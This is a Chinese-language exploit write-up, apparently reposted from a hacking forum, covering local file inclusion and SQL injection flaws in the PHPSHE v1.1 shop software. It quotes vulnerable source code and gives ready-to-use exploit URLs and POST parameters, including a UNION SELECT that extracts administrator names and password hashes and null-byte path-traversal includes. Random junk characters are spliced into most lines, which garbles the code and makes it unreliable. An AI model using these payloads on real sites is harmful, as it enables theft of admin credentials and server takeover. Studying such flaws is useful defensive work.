phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
" Y/ L1 J6 r4 |  J5 h5 L8 z. B/* ========================
/* By: : Kn1f3
8 Z) v: T( A% b/* E-Mail : 681796@qq.com
% S6 h6 f7 D; y) C3 S( {" N/*******************************************************/
* |$ j) p) H. L2 d' e+ t0×00 整体大概参数传输


9 N! T% H7 {" v* p: Z2 `2 q( x5 P
//common.php
7 D( @+ c# O) @7 uif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
& Z/ e$ j2 {1 A  o!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
0 k5 m3 H! Z3 f. o* p/ J6 C}
2 I( E2 G2 I. @2 U, Telse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- W' s" f# \4 N8 m. R!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
" ~. z" K4 B1 \$ d; |' b7 y% I!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
5 _! D4 v# v0 z" _+ f$ ?5 O- Y!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
( i9 B. p: ]5 ?* \( e& [
0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
/ G4 f* L4 l. Y( \. {, Npe_result();
3 O9 E) [7 b/ @. J# G7 `' C?>
2 k7 G' C- ?9 h: F//common 文件 第15行开始
: S* Z& }$ m: n2 C: x% _: Burl路由配置
$module = $mod = $act = 'index';
% }, @; E- E/ J5 ]0 G( G& P. t$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
2 G, E& O( ]# |/ z' A4 S( W$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
% f- U& h9 A$ E! b- D//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

+ _3 y. s5 z- p6 j' `9 \
0×02 搜索注入
% E+ m3 C% D- \6 O/ l4 E6 v( w* o& }
<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
9 k/ H# D8 F& p& ~6 q1 Y//搜索
% q$ V6 b5 O8 H0 u# X. g$sqlwhere = " and `product_state` = 1";
) a% C, Z! y  A0 J! u% B) @( D8 }pe_lead('hook/category.hook.php');
if ($category_id) {
+ V' M3 V/ ]. D8 t: M& N5 \where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
; a5 y( `( @5 |; s# M$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
) G$ k; r% U1 U) F! W9 O}
7 S6 z7 ^# r9 p5 C$ I6 {: F% j, w; ]else {
' Y* l8 x# v" X- e+ i$sqlwhere .= " order by `product_id` desc";
* l. B4 R! L+ o6 f3 f}
9 A  z+ P. x7 s" q7 _9 K$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
) P6 Z% T4 S$ A; P6 m//热卖排行
2 ?5 [* |( u0 K9 M5 Z$ Z$product_hotlist = product_hotlist();
//当前路径
. z2 t! j; c7 U$ w/ V- r+ N$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
. ^8 P6 x/ H! z* v) Y2 _include(pe_tpl('product_list.html'));
//跟进selectall函数库
& x% K: ~' Y5 H) D" s4 _  \public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
# U2 t! P: n& j7 X{
& L: j) R0 @/ |//处理条件语句
8 N7 G5 J. o* S6 t' b/ D% R$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
. c8 U( A4 o: I. X3 K! {2 w* B# m//exp
/ S7 y% S0 E0 J4 k! G9 Xproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
+ C/ l1 I* E: l& N) _5 F" V

</code>

& ?' }2 c1 H( l4 p4 J- O0×03 包含漏洞2

4 |# o" C; }. s  ]<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

8 V6 Y- i0 M- u" I. K1 d- Gforeach($cache_payway as $k => $v) {

$ v8 [+ G7 `7 s7 c$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

- S, _1 [, P2 R/ t* y$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

% w+ ]8 x  }" K5 J# _' _9 l; ^}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

+ [8 p$ ]' E) c8 |) Vif (isset($_p_pesubmit)) {

4 u3 f; ~, t* xif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

# [+ Q: ]$ m2 k6 _- E/ o* Y7 }$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

: J6 D! x9 U, [; oforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

0 n0 U$ G- H7 Y  @( ?2 S: N}//当一切准备好的时候就可以进行"鸡肋包含了"

3 N& j' v& v$ v! N2 Ielse {

1 H! {; W1 v/ ^; x: fpe_error('支付错误...');

}

) u7 O1 @% ?4 C9 S9 l2 g" \' g* m}

$seo = pe_seo('选择支付方式');

& Z% O, R' ~5 Q$ d  g- N4 Xinclude(pe_tpl('order_pay.html'));

# E2 Y! Z3 U: ?1 p- g& i2 Ebreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
; Y! ?1 J& |+ p: s, O0 ]6 Q+ Ghttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg